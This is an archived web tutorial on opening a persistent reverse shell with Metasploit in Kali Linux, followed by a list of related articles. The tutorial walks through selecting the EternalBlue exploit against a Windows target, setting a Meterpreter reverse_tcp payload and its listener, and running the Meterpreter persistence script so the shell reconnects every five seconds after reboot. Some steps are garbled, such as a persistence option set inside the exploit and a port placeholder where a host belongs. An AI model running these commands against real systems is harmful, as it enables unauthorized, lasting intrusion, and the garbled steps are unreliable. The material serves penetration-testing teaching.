The Wayback Machine - https://web.archive.org/web/20241004122041/https://www.geeksforgeeks.org/creating-a-persistent-reverse-shell-with-metasploit-in-kali-linux/
Open In App

Creating a Persistent Reverse Shell with Metasploit in Kali Linux

Last Updated : 05 Feb, 2023
Summarize
Comments
Improve
Suggest changes
Like Article
Like
Save
Share
Report
News Follow

A reverse shell is a type of network connection in which a command shell is executed on a remote machine, and the input and output of the shell are transmitted over the network back to the local machine. This allows a user on the local machine to execute commands on the remote machine and receive the output of those commands. 

Reverse shells are often used in penetration testing and cybersecurity incident response situations to remotely access and control a compromised system. They can also be used by malicious actors to gain unauthorized access to systems.

What is a persistent reverse shell?

A persistent reverse shell is a type of reverse shell that is designed to remain active even after the initial connection is terminated. This allows an attacker to maintain access to a compromised system over an extended period of time.

To establish a persistent reverse shell, the attacker typically installs a program on the target system that will establish the reverse shell connection and keep it open even if the initial connection is interrupted. This program may be disguised as a legitimate application or may be installed as a service or daemon that runs in the background.

Creating a persistent reverse shell with Metasploit in Kali Linux

To create a persistent reverse shell with Metasploit in Kali Linux, you will need to perform the following steps:

Step 1: First, make sure that Metasploit is installed on your Kali Linux machine. If it is not, you can install it by running the following command:

apt-get update && apt-get install metasploit-framework

Step 2: Start the Metasploit console by running the following command:

msfconsole
Starting Metasploit Console

 

Step 3: In the Metasploit console, use the search command to find a suitable exploit. For example, you could use the following command to search for exploits that target Windows systems:

search windows

Searching Exploit

 

List of various Windows exploits

 

Step 4: Once you have found a suitable exploit, use the use command to select it. For example, to select the “windows/smb/ms17_010_eternalblue” exploit:

use windows/smb/ms17_010_eternalblue
Using eternalblue exploit

 

Step 5: Set the target for the exploit by using the set command and feed the IP address of the target (10.10.166.240 used for demonstration purposes):

set RHOSTS 10.10.166.240
Setting RHOSTS

 

Step 6: Set the payload for the exploit by using the set command. A payload is a code that will be executed on the target machine once the exploit is successful. (Here, the payload for Windows reverse shell is used) 

set PAYLOAD windows/meterpreter/reverse_tcp

Setting Payload of reverse tcp

 

Note: Default Payload is windows/x64/meterpreter/reverse_tcp.

Step 7: Set the listening host for the reverse shell. (IP address of the attacking machine)

Setting LHOST

 

This step is optional as the default LPORT is your device’s IP:

Step 8: Set the listening port for the reverse shell by using the set command. 

set LPORT <port>
Setting LHOST Port

 

Step 9: To create a persistent reverse shell, you will need to set up a persistence script that will run every time the target machine starts up. To do this, use the set command to set the “persistence” option to “true”. For example:

set persistence true
Setting Persistence script as true

 

Step 10: Run the exploit by using the exploit command. This will initiate the connection and attempt to exploit the target machine. If the exploit is successful, you should see a meterpreter session open in the Metasploit console.

exploit

Starting the exploitation

 

Connection to Victim

 

To make the reverse shell persistent, you will need to run the persistence script by typing the following command in the meterpreter session:

run persistence -U -i 5 -p 4444 -r <LPORT>
Making Reverse Shell Persistent

 

This will set up a persistent reverse shell that will connect back to your Kali Linux machine every 5 seconds.

Conclusion:

In conclusion, a persistent reverse shell is a type of network connection that allows an attacker to remotely execute commands and maintain access to a compromised system over an extended period of time. To create a persistent reverse shell using Metasploit in Kali Linux, you will need to select an appropriate exploit and payload, set the target and listening host and port, and run the exploit. To make the reverse shell persistent, you will need to run a persistence script. It is important to note that creating persistent reverse shells is generally considered malicious activity and should only be done in a controlled environment. It is also important to ensure that proper safeguards are in place to prevent unauthorized access to systems and to secure systems against exploitation.



Previous Article
Next Article

Similar Reads

How to use a Reverse Shell in Metasploit in Kali Linux
Metasploit is not just a single tool. It is a complete framework. It is a Ruby-based, modular penetration testing platform that enables you to write, test, and execute exploit code, it is flexible and extremely robust and has tons of tools to perform various simple and complex tasks. Metasploit Framework creates payloads in form of apk, exe, etc. f
4 min read
Using Metasploit and Nmap to Scan for Vulnerabilities in Kali Linux
The Metasploit framework is a penetration testing tool for exploiting and validating vulnerabilities. It includes the fundamental architecture, particular content, and tools required for penetration testing and extensive security evaluation. It is a well-known exploitation framework that is routinely updated; new exploits are included as soon as th
3 min read
Working with Payload Metasploit in Kali Linux
The Metasploit framework is a penetration testing tool for exploiting and validating vulnerabilities. It includes the fundamental architecture, particular content, and tools required for penetration testing and extensive security evaluation. It is a well-known exploitation framework that is routinely updated; new exploits are included as soon as th
5 min read
Deploying a Payload with Metasploit in Kali Linux
A Metasploit framework is an open-Source tool that is developed and maintained by rapid7. It is a very powerful tool used by almost all penetration testers to scan for vulnerabilities in their system. Metasploit-framework has about 500+ payloads and over 1677 exploits organized for different platforms, including Android, PHP, Python, Java, etc. Met
4 min read
Validating a Vulnerability Metasploit in Kali Linux
Metasploit is a popular open-source platform for developing, testing, and executing exploits and payloads. It is widely used by security professionals and researchers to identify and exploit vulnerabilities in systems and networks. Metasploit consists of a large database of exploits and payloads that can be used to attack a wide range of systems an
6 min read
Creating an Encrypted Persistent Live Kali USB
The term “Live USB Persistence” refers to the fact that the files and data that we create in USB as a result of our work there, they are stored on the USB drive rather than the Hard drive, and by using Encryption in the Live USB, the Stored Data will be encrypted. As of this, we don't need to create any partitions on our hard drive in order to boot
3 min read
Uploading a Reverse Shell to a Web Server in Kali Linux
We basically hack the webserver for gaining access to the system. We look into what is inside the web server and we want to have full control of the web server. Therefore we can download or access the uploaded content. In this article, we are using a reverse shell made with PHP. We are uploading the reverse shell into the web server and trying to h
3 min read
Shell Script to Show the Difference Between echo “$SHELL” and echo ‘$SHELL’
In shell scripting and Linux, the echo command is used to display text on the terminal or console. When used with the $SHELL variable, which contains the path of the current user's shell program, the output of the echo command can be different depending on whether the variable is enclosed in single or double quotes. echo "$SHELL" will expand the $S
4 min read
Shell Scripting - Difference between Korn Shell and Bash shell
Korn Shell: Korn Shell or KSH was developed by a person named David Korn, which attempts to integrate the features of other shells like C shell, Bourne Shell, etc. Korn Shell allows developers to generate and create new shell commands whenever it is required. Korn shell was developed a long year back as it is older than the BASH shell and it has fe
3 min read
Linux - Metasploit Command
Metasploit is an open-source penetration testing framework and a suite of security tools used for a myriad of purposes like information gathering, scanning, pen testing, exploiting, encoding, firewall evasion, and even post-exploitation phase. The framework is constituted of different categories and modules which makes Metasploit perfect to use as
5 min read
What is the Metasploit Framework in Linux?
A Metasploit framework is a tool that is used by ethical hackers, security researchers, and pentester to testing of the vulnerability. It helps us to find vulnerabilities in networks, systems, and IoT. It's an open-source tool. It can be customized with the operating system. It's a bunch of exploits for various platforms. This Framework is written
4 min read
Kali-Whoami - Stay anonymous on Kali Linux
In today's life, we are surrounded by a lot of cyber security tools and we talk about our online anonymity, but are we really anonymous? A single mistake can reveal our anonymity, so here is a tool that can help us to make anonymity possible and it is called WHOAMI. It is very useful and has a very simple UI. Note: if you are a parrot user then you
3 min read
Kali Linux - Terminal and Shell
Generally, operating systems have 2 interfaces GUI(Graphical User Interface) and CLI(Command Line Interface) and the same is the case with Linux Based Operating Systems. Linux Operating Systems are generally packed with terminal emulator packages for CLI based functioning and Desktop environment packages for GUI based functioning. Some common ones
3 min read
Auto Logout in Linux Shell Using TMOUT Shell Variable
TMOUT is a Linux-Unix shell variable that provides the user security for their login session in the system. It provides the "Auto Logout Functionality" for the login shell in case of no activity for a specified time. Generally when the user leaves the Linux system idle (situation when a user doesn't perform any administrative task by running a comm
2 min read
How to protect Linux shell file using noclobber in bash shell?
Most Linux shells(bash, csh, ksh, tcsh) have a built-in file protection mechanism to prevent files from being overwritten accidentally. In this article, we will see how to prevent it by setting noclobber option. Clobbering Redirecting standard output to a file that already exists would overwrite the existing file content which will result in data l
2 min read
Introduction to Linux Shell and Shell Scripting
If we are using any major operating system, we are indirectly interacting with the shell. While running Ubuntu, Linux Mint, or any other Linux distribution, we are interacting with the shell by using the terminal. In this article we will discuss Linux shells and shell scripting so before understanding shell scripting we have to get familiar with th
7 min read
Cewl Tool - Creating Custom Wordlists Tool in Kali Linux
In this article, we will see how to create a wordlist with the Kali Linux tool Cewl and what options are available in this post. Cewl is a Ruby program that crawls a URL to a defined depth, optionally following external links, and produces a list of keywords that password crackers such as John the Ripper can use to crack passwords. can. FAB (Files
4 min read
How to Create Reverse Shells with Netcat in Kali Linux?
Netcat is a command in Linux which is used to perform port listening, port redirection, port checking, or even network testing. Netcat is also called a swiss army knife of networking tools. This command is also used to create a reverse shell. Before getting in depth of reverse shell one must be aware of what exactly is netcat tool. To know more, yo
2 min read
What is Metasploit?
Metasploit is not just a single tool. It is a complete framework. It is a Ruby-based, modular penetration testing platform that enables you to write, test, and execute exploit code, it is flexible and extremely robust and has tons of tools to perform various simple and complex tasks. Metasploit has three editions available. Metasploit ProMetasploit
7 min read
How to Use Metasploit’s Interface
Metasploit itself is a free open-source software, with many contributors in the security community. It supports Vulnerability Research, Exploits development, and also the creation of custom security tools. Metasploit Frameworks are widely used for pen testing and other security purposes. Metasploit offers more than one interface to its underlying f
4 min read
Difference Between Sucuri and Metasploit
In this article, we will see the difference between Metasploit and Solana. The following topics will be discussed here: Information about SucuriInformation about MetasploitDifference between Sucuri and Metasploit Let’s discuss each of these topics in detail. SucuriSucuri is a web-based security company that offers website security for particular si
3 min read
Social Engineering Techniques in Metasploit
The Social-Engineer Toolkit (SET) was developed to coincide with the release of social-engineer.org. The purpose of SET is to fill a gap in the penetration testing community and bring awareness to social-engineering attacks. the toolkit attacks human's weaknesses, exploiting curiosity, and simple human stupidity. Social-Engineering Attacks are at a
9 min read
Find Vulnerable Webcams with Shodan [Metasploit Framework]
Finding vulnerable webcams with Shodan and Metasploit can sound intimidating for beginners, but let me try to explain the key ideas simply. Think of Shodan as a search engine for connected devices and servers instead of websites. We can use it to find webcams and other systems that are publicly accessible over the internet. Sometimes these devices
5 min read
Adding a third party Module into Metasploit Framework
Metasploit Framework is a popular open-source tool for security testing and penetration testing. It comes packed with hundreds of ready-to-use exploits, payloads, encoders, and more to help test systems for weaknesses. However, the true power of Metasploit lies in its modular architecture that allows the community to contribute and expand its capab
4 min read
Brute Force Attack in Metasploit
A Brute Force Attack is one of the most famous and widely known types of cyber attack out there. a brute force attack is a type of attack that uses a trial-and-error method to guess login credentials, and encryption keys, or find a hidden webpage. If someone repeatedly and unsuccessfully tries to log in to an account or network, it appears to be a
7 min read
Detecting and Exploiting the OpenSSL Heartbleed Vulnerability with Nmap and Metasploit
The Heartbleed bug, labeled as CVE-2014-0160, is one of the most notorious security vulnerabilities on current records. It affects the OpenSSL cryptographic library, which has been widely used to encrypt communications on the net. Heartbleed allows attackers to extract sensitive information directly from the memory of affected servers or clients wi
4 min read
Shell Scripting - Restricted Shell
Shell is one of the most important and powerful tools available in GNU/Linux-based systems. One can control the entire system if used correctly, this exact feature makes the shell a double-edged sword. It can potentially harm the system if one executes a system command without knowing its underlying details and consequences. To prevent this we use
5 min read
Shell Script to Demonstrate the Use of Shell Function Library
Shell Function Library is basically a collection of functions that can be accessed from anywhere in the development environment. It actually makes shell scripting a bit less tedious and repetitive. By creating a shell script with some functions defined in it, we can then access and call those functions from other files or scripts. It helps in avoid
3 min read
Shell Scripting - Interactive and Non-Interactive Shell
A shell gives us an interface to the Unix system. While using an operating system, we indirectly interact with the shell. On Linux distribution systems, each time we use a terminal, we interact with the shell. The job of the shell is to interpret or analyze the Unix commands given by users. A shell accepts commands from the user and transforms them
3 min read
Shell Scripting - Default Shell Variable Value
A shell gives us an interface to the Unix system. While using an operating system, we indirectly interact with the shell. On Linux distribution systems, each time we use a terminal, we interact with the shell. The job of the shell is to interpret or analyze the Unix commands given by users. A shell accepts commands from the user and transforms them
3 min read